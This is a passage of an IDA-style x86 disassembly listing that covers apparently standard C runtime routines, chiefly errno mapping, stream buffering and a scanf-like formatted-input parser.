endp ; =============== S U B R O U T I N E ======================================= sub_420A7F proc near ; CODE XREF: sub_41C44C+1Dp ; sub_41DA5E+16p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] xor edx, edx mov dword_4DE5C8, ecx mov eax, offset dword_43F930 loc_420A90: ; CODE XREF: sub_420A7F+1Ej cmp ecx, [eax] jz short loc_420AB4 add eax, 8 inc edx cmp eax, offset dword_43FA98 jl short loc_420A90 cmp ecx, 13h jb short loc_420AC1 cmp ecx, 24h ja short loc_420AC1 mov dword_4DE5C4, 0Dh retn ; --------------------------------------------------------------------------- loc_420AB4: ; CODE XREF: sub_420A7F+13j mov eax, dword_43F934[edx*8] mov dword_4DE5C4, eax retn ; --------------------------------------------------------------------------- loc_420AC1: ; CODE XREF: sub_420A7F+23j ; sub_420A7F+28j cmp ecx, 0BCh jb short loc_420ADB cmp ecx, 0CAh mov dword_4DE5C4, 8 jbe short locret_420AE5 loc_420ADB: ; CODE XREF: sub_420A7F+48j mov dword_4DE5C4, 16h locret_420AE5: ; CODE XREF: sub_420A7F+5Aj retn sub_420A7F endp ; =============== S U B R O U T I N E ======================================= sub_420AE6 proc near ; CODE XREF: sub_41C476+8p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push dword ptr [esi+10h] call sub_4244FD test eax, eax pop ecx jz short loc_420B6F cmp esi, offset dword_43FD28 jnz short loc_420B04 xor eax, eax jmp short loc_420B0F ; --------------------------------------------------------------------------- loc_420B04: ; CODE XREF: sub_420AE6+18j cmp esi, offset dword_43FD48 jnz short loc_420B6F push 1 pop eax loc_420B0F: ; CODE XREF: sub_420AE6+1Cj inc dword_4DE7B0 test word ptr [esi+0Ch], 10Ch jnz short loc_420B6F cmp dword_4DE654[eax*4], 0 push ebx push edi lea edi, ds:4DE654h[eax*4] mov ebx, 1000h jnz short loc_420B55 push ebx call sub_41BB45 test eax, eax pop ecx mov [edi], eax jnz short loc_420B55 lea eax, [esi+14h] push 2 mov [esi+8], eax mov [esi], eax pop eax mov [esi+18h], eax mov [esi+4], eax jmp short loc_420B62 ; --------------------------------------------------------------------------- loc_420B55: ; CODE XREF: sub_420AE6+4Dj ; sub_420AE6+5Aj mov edi, [edi] mov [esi+18h], ebx mov [esi+8], edi mov [esi], edi mov [esi+4], ebx loc_420B62: ; CODE XREF: sub_420AE6+6Dj or word ptr [esi+0Ch], 1102h push 1 pop eax pop edi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_420B6F: ; CODE XREF: sub_420AE6+10j ; sub_420AE6+24j ... xor eax, eax pop esi retn sub_420AE6 endp ; =============== S U B R O U T I N E ======================================= sub_420B73 proc near ; CODE XREF: sub_41C476+24p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0 push esi jz short loc_420B9D mov esi, [esp+4+arg_4] test byte ptr [esi+0Dh], 10h jz short loc_420BAE push esi call sub_41E22B and byte ptr [esi+0Dh], 0EEh and dword ptr [esi+18h], 0 and dword ptr [esi], 0 and dword ptr [esi+8], 0 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_420B9D: ; CODE XREF: sub_420B73+6j mov eax, [esp+4+arg_4] test byte ptr [eax+0Dh], 10h jz short loc_420BAE push eax call sub_41E22B pop ecx loc_420BAE: ; CODE XREF: sub_420B73+10j ; sub_420B73+32j pop esi retn sub_420B73 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420BB0 proc near ; CODE XREF: sub_41C973+2Ap var_1C4 = byte ptr -1C4h var_1C3 = byte ptr -1C3h var_64 = byte ptr -64h var_59 = byte ptr -59h var_44 = dword ptr -44h var_3E = word ptr -3Eh var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_37 = byte ptr -37h var_35 = byte ptr -35h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = dword ptr -14h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 1C4h and [ebp+var_15], 0 push ebx push esi mov esi, [ebp+arg_4] xor ebx, ebx push edi mov al, [esi] mov [ebp+var_4], ebx test al, al mov [ebp+var_34], ebx jz loc_4215B6 mov edi, [ebp+arg_0] jmp short loc_420BDF ; --------------------------------------------------------------------------- loc_420BDA: ; CODE XREF: sub_420BB0+9CEj mov edi, [ebp+arg_0] xor ebx, ebx loc_420BDF: ; CODE XREF: sub_420BB0+28j cmp dword_43F824, 1 jle short loc_420BF7 movzx eax, al push 8 push eax call sub_41FBB5 pop ecx pop ecx jmp short loc_420C06 ; --------------------------------------------------------------------------- loc_420BF7: ; CODE XREF: sub_420BB0+36j mov ecx, off_43F618 movzx eax, al mov al, [ecx+eax*2] and eax, 8 loc_420C06: ; CODE XREF: sub_420BB0+45j cmp eax, ebx jz short loc_420C40 dec [ebp+var_4] push edi lea eax, [ebp+var_4] push edi push eax call sub_42163D pop ecx pop ecx push eax call sub_421626 movzx eax, byte ptr [esi+1] inc esi push eax call sub_41DD10 add esp, 0Ch loc_420C2E: ; CODE XREF: sub_420BB0+8Ej test eax, eax jz short loc_420C40 movzx eax, byte ptr [esi+1] inc esi push eax call sub_41DD10 pop ecx jmp short loc_420C2E ; --------------------------------------------------------------------------- loc_420C40: ; CODE XREF: sub_420BB0+58j ; sub_420BB0+80j cmp byte ptr [esi], 25h jnz loc_421522 and [ebp+var_35], 0 and [ebp+var_18], 0 and [ebp+var_17], 0 and [ebp+var_E], 0 and [ebp+var_F], 0 and [ebp+var_16], 0 xor edi, edi and [ebp+var_5], 0 mov [ebp+var_1C], ebx mov [ebp+var_20], ebx mov [ebp+var_C], ebx mov [ebp+var_D], 1 mov [ebp+var_30], ebx loc_420C77: ; CODE XREF: sub_420BB0+172j movzx ebx, byte ptr [esi+1] inc esi cmp dword_43F824, 1 jle short loc_420C94 movzx eax, bl push 4 push eax call sub_41FBB5 pop ecx pop ecx jmp short loc_420CA3 ; --------------------------------------------------------------------------- loc_420C94: ; CODE XREF: sub_420BB0+D3j mov ecx, off_43F618 movzx eax, bl mov al, [ecx+eax*2] and eax, 4 loc_420CA3: ; CODE XREF: sub_420BB0+E2j test eax, eax jz short loc_420CB9 mov eax, [ebp+var_C] inc [ebp+var_20] lea eax, [eax+eax*4] lea eax, [ebx+eax*2-30h] mov [ebp+var_C], eax jmp short loc_420D1E ; --------------------------------------------------------------------------- loc_420CB9: ; CODE XREF: sub_420BB0+F5j cmp ebx, 4Eh jg short loc_420CFC jz short loc_420D1E cmp ebx, 2Ah jz short loc_420CF7 cmp ebx, 46h jz short loc_420D1E cmp ebx, 49h jz short loc_420CD9 cmp ebx, 4Ch jnz short loc_420D0B inc [ebp+var_D] jmp short loc_420D1E ; --------------------------------------------------------------------------- loc_420CD9: ; CODE XREF: sub_420BB0+11Dj cmp byte ptr [esi+1], 36h jnz short loc_420D0B cmp byte ptr [esi+2], 34h lea eax, [esi+2] jnz short loc_420D0B inc [ebp+var_30] and [ebp+var_28], 0 and [ebp+var_24], 0 mov esi, eax jmp short loc_420D1E ; --------------------------------------------------------------------------- loc_420CF7: ; CODE XREF: sub_420BB0+113j inc [ebp+var_E] jmp short loc_420D1E ; --------------------------------------------------------------------------- loc_420CFC: ; CODE XREF: sub_420BB0+10Cj cmp ebx, 68h jz short loc_420D18 cmp ebx, 6Ch jz short loc_420D10 cmp ebx, 77h jz short loc_420D13 loc_420D0B: ; CODE XREF: sub_420BB0+122j ; sub_420BB0+12Dj ... inc [ebp+var_F] jmp short loc_420D1E ; --------------------------------------------------------------------------- loc_420D10: ; CODE XREF: sub_420BB0+154j inc [ebp+var_D] loc_420D13: ; CODE XREF: sub_420BB0+159j inc [ebp+var_5] jmp short loc_420D1E ; --------------------------------------------------------------------------- loc_420D18: ; CODE XREF: sub_420BB0+14Fj dec [ebp+var_D] dec [ebp+var_5] loc_420D1E: ; CODE XREF: sub_420BB0+107j ; sub_420BB0+10Ej ... cmp [ebp+var_F], 0 jz loc_420C77 cmp [ebp+var_E], 0 mov [ebp+arg_4], esi jnz short loc_420D43 mov eax, [ebp+arg_8] mov [ebp+var_44], eax add eax, 4 mov [ebp+arg_8], eax mov eax, [eax-4] mov [ebp+var_2C], eax loc_420D43: ; CODE XREF: sub_420BB0+17Fj and [ebp+var_F], 0 cmp [ebp+var_5], 0 jnz short loc_420D61 mov al, [esi] cmp al, 53h jz short loc_420D5D cmp al, 43h jz short loc_420D5D or [ebp+var_5], 0FFh jmp short loc_420D61 ; --------------------------------------------------------------------------- loc_420D5D: ; CODE XREF: sub_420BB0+1A1j ; sub_420BB0+1A5j mov [ebp+var_5], 1 loc_420D61: ; CODE XREF: sub_420BB0+19Bj ; sub_420BB0+1ABj mov ebx, [ebp+arg_4] movzx esi, byte ptr [ebx] or esi, 20h cmp esi, 6Eh mov [ebp+var_3C], esi jz short loc_420D9A cmp esi, 63h jz short loc_420D8B cmp esi, 7Bh jz short loc_420D8B push [ebp+arg_0] lea eax, [ebp+var_4] push eax call sub_42163D pop ecx jmp short loc_420D96 ; --------------------------------------------------------------------------- loc_420D8B: ; CODE XREF: sub_420BB0+1C5j ; sub_420BB0+1CAj push [ebp+arg_0] inc [ebp+var_4] call sub_42160C loc_420D96: ; CODE XREF: sub_420BB0+1D9j pop ecx mov [ebp+var_14], eax loc_420D9A: ; CODE XREF: sub_420BB0+1C0j xor eax, eax cmp [ebp+var_20], eax jz short loc_420DAA cmp [ebp+var_C], eax jz loc_421586 loc_420DAA: ; CODE XREF: sub_420BB0+1EFj cmp esi, 6Fh jg loc_421011 jz loc_4212C3 cmp esi, 63h jz loc_420FEE cmp esi, 64h jz loc_4212C3 jle loc_42103B cmp esi, 67h jle short loc_420E0E cmp esi, 69h jz short loc_420DF6 cmp esi, 6Eh jnz loc_42103B cmp [ebp+var_E], 0 mov edi, [ebp+var_4] jz loc_4214F1 jmp loc_421517 ; --------------------------------------------------------------------------- loc_420DF6: ; CODE XREF: sub_420BB0+229j push 64h pop esi loc_420DF9: ; CODE XREF: sub_420BB0+480j mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz loc_421083 mov [ebp+var_17], 1 jmp loc_421088 ; --------------------------------------------------------------------------- loc_420E0E: ; CODE XREF: sub_420BB0+224j mov ebx, [ebp+var_14] lea esi, [ebp+var_1C4] cmp ebx, 2Dh jnz short loc_420E2A mov [ebp+var_1C4], bl lea esi, [ebp+var_1C3] jmp short loc_420E2F ; --------------------------------------------------------------------------- loc_420E2A: ; CODE XREF: sub_420BB0+26Aj cmp ebx, 2Bh jnz short loc_420E46 loc_420E2F: ; CODE XREF: sub_420BB0+278j mov edi, [ebp+arg_0] dec [ebp+var_C] inc [ebp+var_4] push edi call sub_42160C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_420E49 ; --------------------------------------------------------------------------- loc_420E46: ; CODE XREF: sub_420BB0+27Dj mov edi, [ebp+arg_0] loc_420E49: ; CODE XREF: sub_420BB0+294j cmp [ebp+var_20], 0 jz short loc_420E58 cmp [ebp+var_C], 15Dh jle short loc_420E5F loc_420E58: ; CODE XREF: sub_420BB0+29Dj mov [ebp+var_C], 15Dh loc_420E5F: ; CODE XREF: sub_420BB0+2A6j ; sub_420BB0+2F2j cmp dword_43F824, 1 jle short loc_420E74 push 4 push ebx call sub_41FBB5 pop ecx pop ecx jmp short loc_420E7F ; --------------------------------------------------------------------------- loc_420E74: ; CODE XREF: sub_420BB0+2B6j mov eax, off_43F618 mov al, [eax+ebx*2] and eax, 4 loc_420E7F: ; CODE XREF: sub_420BB0+2C2j test eax, eax jz short loc_420EA4 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_420EA4 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_42160C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_420E5F ; --------------------------------------------------------------------------- loc_420EA4: ; CODE XREF: sub_420BB0+2D1j ; sub_420BB0+2DBj cmp byte_43F828, bl jnz short loc_420F12 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_420F12 inc [ebp+var_4] push edi call sub_42160C mov ebx, eax mov al, byte_43F828 mov [esi], al pop ecx mov [ebp+var_14], ebx inc esi loc_420ECD: ; CODE XREF: sub_420BB0+360j cmp dword_43F824, 1 jle short loc_420EE2 push 4 push ebx call sub_41FBB5 pop ecx pop ecx jmp short loc_420EED ; --------------------------------------------------------------------------- loc_420EE2: ; CODE XREF: sub_420BB0+324j mov eax, off_43F618 mov al, [eax+ebx*2] and eax, 4 loc_420EED: ; CODE XREF: sub_420BB0+330j test eax, eax jz short loc_420F12 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_420F12 inc [ebp+var_1C] mov [esi], bl inc esi inc [ebp+var_4] push edi call sub_42160C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_420ECD ; --------------------------------------------------------------------------- loc_420F12: ; CODE XREF: sub_420BB0+2FAj ; sub_420BB0+304j ... cmp [ebp+var_1C], 0 jz loc_420FAA cmp ebx, 65h jz short loc_420F2A cmp ebx, 45h jnz loc_420FAA loc_420F2A: ; CODE XREF: sub_420BB0+36Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_420FAA mov byte ptr [esi], 65h inc esi inc [ebp+var_4] push edi call sub_42160C mov ebx, eax pop ecx cmp ebx, 2Dh mov [ebp+var_14], ebx jnz short loc_420F51 mov [esi], al inc esi jmp short loc_420F56 ; --------------------------------------------------------------------------- loc_420F51: ; CODE XREF: sub_420BB0+39Aj cmp ebx, 2Bh jnz short loc_420F74 loc_420F56: ; CODE XREF: sub_420BB0+39Fj mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jnz short loc_420F65 and [ebp+var_C], eax jmp short loc_420F74 ; --------------------------------------------------------------------------- loc_420F65: ; CODE XREF: sub_420BB0+3AEj ; sub_420BB0+3F8j inc [ebp+var_4] push edi call sub_42160C mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_420F74: ; CODE XREF: sub_420BB0+3A4j ; sub_420BB0+3B3j cmp dword_43F824, 1 jle short loc_420F89 push 4 push ebx call sub_41FBB5 pop ecx pop ecx jmp short loc_420F94 ; --------------------------------------------------------------------------- loc_420F89: ; CODE XREF: sub_420BB0+3CBj mov eax, off_43F618 mov al, [eax+ebx*2] and eax, 4 loc_420F94: ; CODE XREF: sub_420BB0+3D7j test eax, eax jz short loc_420FAA mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz short loc_420FAA inc [ebp+var_1C] mov [esi], bl inc esi jmp short loc_420F65 ; --------------------------------------------------------------------------- loc_420FAA: ; CODE XREF: sub_420BB0+366j ; sub_420BB0+374j ... dec [ebp+var_4] push edi push ebx call sub_421626 cmp [ebp+var_1C], 0 pop ecx pop ecx jz loc_4215B6 cmp [ebp+var_E], 0 jnz loc_421517 inc [ebp+var_34] and byte ptr [esi], 0 lea eax, [ebp+var_1C4] push eax movsx eax, [ebp+var_D] push [ebp+var_2C] dec eax push eax call off_43FBC8 add esp, 0Ch jmp loc_421517 ; --------------------------------------------------------------------------- loc_420FEE: ; CODE XREF: sub_420BB0+20Cj cmp [ebp+var_20], eax jnz short loc_420FFD inc [ebp+var_C] mov [ebp+var_20], 1 loc_420FFD: ; CODE XREF: sub_420BB0+441j cmp [ebp+var_5], 0 jle short loc_421007 mov [ebp+var_16], 1 loc_421007: ; CODE XREF: sub_420BB0+451j mov edi, offset dword_43FAA0 jmp loc_42111C ; --------------------------------------------------------------------------- loc_421011: ; CODE XREF: sub_420BB0+1FDj mov eax, esi sub eax, 70h jz loc_4212BF sub eax, 3 jz loc_42110D dec eax dec eax jz loc_4212C3 sub eax, 3 jz loc_420DF9 sub eax, 3 jz short loc_42105F loc_42103B: ; CODE XREF: sub_420BB0+21Bj ; sub_420BB0+22Ej movzx eax, byte ptr [ebx] cmp eax, [ebp+var_14] jnz loc_421586 dec [ebp+var_15] cmp [ebp+var_E], 0 jnz loc_421517 mov eax, [ebp+var_44] mov [ebp+arg_8], eax jmp loc_421517 ; --------------------------------------------------------------------------- loc_42105F: ; CODE XREF: sub_420BB0+489j cmp [ebp+var_5], 0 jle short loc_421069 mov [ebp+var_16], 1 loc_421069: ; CODE XREF: sub_420BB0+4B3j mov edi, [ebp+arg_4] inc edi mov [ebp+arg_4], edi cmp byte ptr [edi], 5Eh jnz loc_421120 mov eax, edi lea edi, [eax+1] jmp loc_42111C ; --------------------------------------------------------------------------- loc_421083: ; CODE XREF: sub_420BB0+24Fj cmp ebx, 2Bh jnz short loc_4210AA loc_421088: ; CODE XREF: sub_420BB0+259j dec [ebp+var_C] jnz short loc_421099 cmp [ebp+var_20], 0 jz short loc_421099 mov [ebp+var_F], 1 jmp short loc_4210AA ; --------------------------------------------------------------------------- loc_421099: ; CODE XREF: sub_420BB0+4DBj ; sub_420BB0+4E1j push [ebp+arg_0] inc [ebp+var_4] call sub_42160C mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_4210AA: ; CODE XREF: sub_420BB0+4D6j ; sub_420BB0+4E7j cmp ebx, 30h jnz loc_4212F8 push [ebp+arg_0] inc [ebp+var_4] call sub_42160C mov ebx, eax pop ecx cmp bl, 78h mov [ebp+var_14], ebx jz short loc_4210F8 cmp bl, 58h jz short loc_4210F8 cmp esi, 78h mov [ebp+var_1C], 1 jz short loc_4210E2 push 6Fh loc_4210DC: ; CODE XREF: sub_420BB0+55Bj pop esi jmp loc_4212F8 ; --------------------------------------------------------------------------- loc_4210E2: ; CODE XREF: sub_420BB0+528j push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_421626 pop ecx pop ecx push 30h pop ebx jmp loc_4212F5 ; --------------------------------------------------------------------------- loc_4210F8: ; CODE XREF: sub_420BB0+517j ; sub_420BB0+51Cj push [ebp+arg_0] inc [ebp+var_4] call sub_42160C pop ecx mov ebx, eax mov [ebp+var_14], ebx push 78h jmp short loc_4210DC ; --------------------------------------------------------------------------- loc_42110D: ; CODE XREF: sub_420BB0+46Fj cmp [ebp+var_5], 0 jle short loc_421117 mov [ebp+var_16], 1 loc_421117: ; CODE XREF: sub_420BB0+561j mov edi, offset dword_43FA98 loc_42111C: ; CODE XREF: sub_420BB0+45Cj ; sub_420BB0+4CEj or [ebp+var_18], 0FFh loc_421120: ; CODE XREF: sub_420BB0+4C3j push 20h lea eax, [ebp+var_64] push 0 push eax call sub_41BC00 add esp, 0Ch cmp [ebp+var_3C], 7Bh jnz short loc_421144 cmp byte ptr [edi], 5Dh jnz short loc_421144 mov dl, 5Dh inc edi mov [ebp+var_59], 20h jmp short loc_421147 ; --------------------------------------------------------------------------- loc_421144: ; CODE XREF: sub_420BB0+584j ; sub_420BB0+589j mov dl, [ebp+var_35] loc_421147: ; CODE XREF: sub_420BB0+592j ; sub_420BB0+5E1j ... mov al, [edi] cmp al, 5Dh jz short loc_4211AC inc edi cmp al, 2Dh jnz short loc_421193 test dl, dl jz short loc_421193 mov cl, [edi] cmp cl, 5Dh jz short loc_421193 inc edi cmp dl, cl jnb short loc_421166 mov al, cl jmp short loc_42116A ; --------------------------------------------------------------------------- loc_421166: ; CODE XREF: sub_420BB0+5B0j mov al, dl mov dl, cl loc_42116A: ; CODE XREF: sub_420BB0+5B4j cmp dl, al ja short loc_42118F movzx edx, dl movzx esi, al sub esi, edx inc esi loc_421177: ; CODE XREF: sub_420BB0+5DDj mov ecx, edx mov eax, edx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl inc edx dec esi jnz short loc_421177 loc_42118F: ; CODE XREF: sub_420BB0+5BCj xor dl, dl jmp short loc_421147 ; --------------------------------------------------------------------------- loc_421193: ; CODE XREF: sub_420BB0+5A0j ; sub_420BB0+5A4j ... movzx ecx, al mov dl, al mov eax, ecx and ecx, 7 mov bl, 1 shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_64] or [eax], bl jmp short loc_421147 ; --------------------------------------------------------------------------- loc_4211AC: ; CODE XREF: sub_420BB0+59Bj cmp byte ptr [edi], 0 jz loc_4215B6 cmp [ebp+var_3C], 7Bh jnz short loc_4211BE mov [ebp+arg_4], edi loc_4211BE: ; CODE XREF: sub_420BB0+609j mov edi, [ebp+arg_0] mov esi, [ebp+var_2C] dec [ebp+var_4] push edi push [ebp+var_14] mov [ebp+var_30], esi call sub_421626 pop ecx pop ecx loc_4211D5: ; CODE XREF: sub_420BB0+6BCj ; sub_420BB0+6C4j cmp [ebp+var_20], 0 jz short loc_4211E9 mov eax, [ebp+var_C] dec [ebp+var_C] test eax, eax jz loc_421285 loc_4211E9: ; CODE XREF: sub_420BB0+629j inc [ebp+var_4] push edi call sub_42160C cmp eax, 0FFFFFFFFh pop ecx mov [ebp+var_14], eax jz short loc_421279 mov ecx, eax push 1 and ecx, 7 pop edx movsx ebx, [ebp+var_18] shl edx, cl mov ecx, eax sar ecx, 3 movsx ecx, [ebp+ecx+var_64] xor ecx, ebx test edx, ecx jz short loc_421279 cmp [ebp+var_E], 0 jnz short loc_421271 cmp [ebp+var_16], 0 jz short loc_421266 mov ecx, off_43F618 mov [ebp+var_38], al movzx eax, al test byte ptr [ecx+eax*2+1], 80h jz short loc_421245 inc [ebp+var_4] push edi call sub_42160C pop ecx mov [ebp+var_37], al loc_421245: ; CODE XREF: sub_420BB0+686j push dword_43F824 lea eax, [ebp+var_38] push eax lea eax, [ebp+var_3E] push eax call sub_42458B mov ax, [ebp+var_3E] add esp, 0Ch mov [esi], ax inc esi inc esi jmp short loc_421269 ; --------------------------------------------------------------------------- loc_421266: ; CODE XREF: sub_420BB0+673j mov [esi], al inc esi loc_421269: ; CODE XREF: sub_420BB0+6B4j mov [ebp+var_2C], esi jmp loc_4211D5 ; --------------------------------------------------------------------------- loc_421271: ; CODE XREF: sub_420BB0+66Dj inc [ebp+var_30] jmp loc_4211D5 ; --------------------------------------------------------------------------- loc_421279: ; CODE XREF: sub_420BB0+649j ; sub_420BB0+667j dec [ebp+var_4] push edi push eax call sub_421626 pop ecx pop ecx loc_421285: ; CODE XREF: sub_420BB0+633j cmp [ebp+var_30], esi jz loc_4215B6 cmp [ebp+var_E], 0 jnz loc_421517 inc [ebp+var_34] cmp [ebp+var_3C], 63h jz loc_421517 cmp [ebp+var_16], 0 mov eax, [ebp+var_2C] jz short loc_4212B7 and word ptr [eax], 0 jmp loc_421517 ; --------------------------------------------------------------------------- loc_4212B7: ; CODE XREF: sub_420BB0+6FCj and byte ptr [eax], 0 jmp loc_421517 ; --------------------------------------------------------------------------- loc_4212BF: ; CODE XREF: sub_420BB0+466j mov [ebp+var_D], 1 loc_4212C3: ; CODE XREF: sub_420BB0+203j ; sub_420BB0+215j ... mov ebx, [ebp+var_14] cmp ebx, 2Dh jnz short loc_4212D1 mov [ebp+var_17], 1 jmp short loc_4212D6 ; --------------------------------------------------------------------------- loc_4212D1: ; CODE XREF: sub_420BB0+719j cmp ebx, 2Bh jnz short loc_4212F8 loc_4212D6: ; CODE XREF: sub_420BB0+71Fj dec [ebp+var_C] jnz short loc_4212E7 cmp [ebp+var_20], 0 jz short loc_4212E7 mov [ebp+var_F], 1 jmp short loc_4212F8 ; --------------------------------------------------------------------------- loc_4212E7: ; CODE XREF: sub_420BB0+729j ; sub_420BB0+72Fj push [ebp+arg_0] inc [ebp+var_4] call sub_42160C pop ecx mov ebx, eax loc_4212F5: ; CODE XREF: sub_420BB0+543j mov [ebp+var_14], ebx loc_4212F8: ; CODE XREF: sub_420BB0+4FDj ; sub_420BB0+52Dj ... cmp [ebp+var_30], 0 jz loc_421411 cmp [ebp+var_F], 0 jnz loc_4213EF loc_42130C: ; CODE XREF: sub_420BB0+82Cj cmp esi, 78h jnz short loc_421360 cmp dword_43F824, 1 jle short loc_421329 push 80h push ebx call sub_41FBB5 pop ecx pop ecx jmp short loc_421336 ; --------------------------------------------------------------------------- loc_421329: ; CODE XREF: sub_420BB0+768j mov eax, off_43F618 mov al, [eax+ebx*2] and eax, 80h loc_421336: ; CODE XREF: sub_420BB0+777j test eax, eax jz loc_4213E1 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 4 pop ecx call sub_424660 push ebx mov [ebp+var_28], eax mov [ebp+var_24], edx call sub_4215D5 mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp short loc_4213B3 ; --------------------------------------------------------------------------- loc_421360: ; CODE XREF: sub_420BB0+75Fj cmp dword_43F824, 1 jle short loc_421375 push 4 push ebx call sub_41FBB5 pop ecx pop ecx jmp short loc_421380 ; --------------------------------------------------------------------------- loc_421375: ; CODE XREF: sub_420BB0+7B7j mov eax, off_43F618 mov al, [eax+ebx*2] and eax, 4 loc_421380: ; CODE XREF: sub_420BB0+7C3j test eax, eax jz short loc_4213E1 cmp esi, 6Fh jnz short loc_42139E cmp ebx, 38h jge short loc_4213E1 mov eax, [ebp+var_28] mov edx, [ebp+var_24] push 3 pop ecx call sub_424660 jmp short loc_4213AD ; --------------------------------------------------------------------------- loc_42139E: ; CODE XREF: sub_420BB0+7D7j push 0 push 0Ah push [ebp+var_24] push [ebp+var_28] call sub_41D920 loc_4213AD: ; CODE XREF: sub_420BB0+7ECj mov [ebp+var_28], eax mov [ebp+var_24], edx loc_4213B3: ; CODE XREF: sub_420BB0+7AEj inc [ebp+var_1C] lea eax, [ebx-30h] cdq add [ebp+var_28], eax adc [ebp+var_24], edx cmp [ebp+var_20], 0 jz short loc_4213CB dec [ebp+var_C] jz short loc_4213EF loc_4213CB: ; CODE XREF: sub_420BB0+814j push [ebp+arg_0] inc [ebp+var_4] call sub_42160C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_42130C ; --------------------------------------------------------------------------- loc_4213E1: ; CODE XREF: sub_420BB0+788j ; sub_420BB0+7D2j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_421626 pop ecx pop ecx loc_4213EF: ; CODE XREF: sub_420BB0+756j ; sub_420BB0+819j cmp [ebp+var_17], 0 jz loc_4214D5 mov eax, [ebp+var_28] mov ecx, [ebp+var_24] neg eax adc ecx, 0 mov [ebp+var_28], eax neg ecx mov [ebp+var_24], ecx jmp loc_4214D5 ; --------------------------------------------------------------------------- loc_421411: ; CODE XREF: sub_420BB0+74Cj cmp [ebp+var_F], 0 jnz loc_4214CD loc_42141B: ; CODE XREF: sub_420BB0+90Aj cmp esi, 78h jz short loc_42145F cmp esi, 70h jz short loc_42145F cmp dword_43F824, 1 jle short loc_42143A push 4 push ebx call sub_41FBB5 pop ecx pop ecx jmp short loc_421445 ; --------------------------------------------------------------------------- loc_42143A: ; CODE XREF: sub_420BB0+87Cj mov eax, off_43F618 mov al, [eax+ebx*2] and eax, 4 loc_421445: ; CODE XREF: sub_420BB0+888j test eax, eax jz short loc_4214BF cmp esi, 6Fh jnz short loc_421458 cmp ebx, 38h jge short loc_4214BF shl edi, 3 jmp short loc_421497 ; --------------------------------------------------------------------------- loc_421458: ; CODE XREF: sub_420BB0+89Cj lea edi, [edi+edi*4] shl edi, 1 jmp short loc_421497 ; --------------------------------------------------------------------------- loc_42145F: ; CODE XREF: sub_420BB0+86Ej ; sub_420BB0+873j cmp dword_43F824, 1 jle short loc_421477 push 80h push ebx call sub_41FBB5 pop ecx pop ecx jmp short loc_421484 ; --------------------------------------------------------------------------- loc_421477: ; CODE XREF: sub_420BB0+8B6j mov eax, off_43F618 mov al, [eax+ebx*2] and eax, 80h loc_421484: ; CODE XREF: sub_420BB0+8C5j test eax, eax jz short loc_4214BF push ebx shl edi, 4 call sub_4215D5 mov ebx, eax pop ecx mov [ebp+var_14], ebx loc_421497: ; CODE XREF: sub_420BB0+8A6j ; sub_420BB0+8ADj inc [ebp+var_1C] cmp [ebp+var_20], 0 lea edi, [edi+ebx-30h] jz short loc_4214A9 dec [ebp+var_C] jz short loc_4214CD loc_4214A9: ; CODE XREF: sub_420BB0+8F2j push [ebp+arg_0] inc [ebp+var_4] call sub_42160C mov ebx, eax pop ecx mov [ebp+var_14], ebx jmp loc_42141B ; --------------------------------------------------------------------------- loc_4214BF: ; CODE XREF: sub_420BB0+897j ; sub_420BB0+8A1j ... push [ebp+arg_0] dec [ebp+var_4] push ebx call sub_421626 pop ecx pop ecx loc_4214CD: ; CODE XREF: sub_420BB0+865j ; sub_420BB0+8F7j cmp [ebp+var_17], 0 jz short loc_4214D5 neg edi loc_4214D5: ; CODE XREF: sub_420BB0+843j ; sub_420BB0+85Cj ... cmp esi, 46h jnz short loc_4214DE and [ebp+var_1C], 0 loc_4214DE: ; CODE XREF: sub_420BB0+928j cmp [ebp+var_1C], 0 jz loc_4215B6 cmp [ebp+var_E], 0 jnz short loc_421517 inc [ebp+var_34] loc_4214F1: ; CODE XREF: sub_420BB0+23Bj cmp [ebp+var_30], 0 jz short loc_421507 mov eax, [ebp+var_2C] mov ecx, [ebp+var_28] mov [eax], ecx mov ecx, [ebp+var_24] mov [eax+4], ecx jmp short loc_421517 ; --------------------------------------------------------------------------- loc_421507: ; CODE XREF: sub_420BB0+945j cmp [ebp+var_D], 0 mov eax, [ebp+var_2C] jz short loc_421514 mov [eax], edi jmp short loc_421517 ; --------------------------------------------------------------------------- loc_421514: ; CODE XREF: sub_420BB0+95Ej mov [eax], di loc_421517: ; CODE XREF: sub_420BB0+241j ; sub_420BB0+414j ... inc 